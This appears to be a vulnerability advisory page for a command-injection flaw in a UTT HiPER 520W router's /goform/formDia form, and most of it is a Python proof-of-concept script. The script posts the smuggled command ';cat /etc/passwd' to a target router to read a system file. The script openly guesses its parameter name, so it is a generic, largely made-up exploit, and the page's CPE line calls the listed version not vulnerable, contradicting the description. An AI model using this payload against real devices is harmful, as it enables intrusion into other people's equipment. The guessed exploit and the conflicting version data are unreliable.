A remote command execution (RCE) vulnerability in the /goform/formDia component of UTT Aggressive HiPER 520W v3v1.7.7-180627 allows attackers to execute arbitrary commands via a crafted string.
cpe:2.3:h:utt:520w:3.0:*:*:*:*:*:*:* - NOT VULNERABLE
UTT Aggressive HiPER 520W v3v1.7.7-180627
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def exploit(target_ip):
url = f"http://{target_ip}/goform/formDia"
# Crafted payload to execute a command (e.g., ping back or reboot)
# The specific parameter name might vary, this is a generic example based on description
payload = ";cat /etc/passwd"
data = {
"specific_param": payload # Parameter name depends on the actual form field
}
try:
response = requests.post(url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully. Check response for command output.")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
target = "192.168.1.1" # Replace with target IP
exploit(target)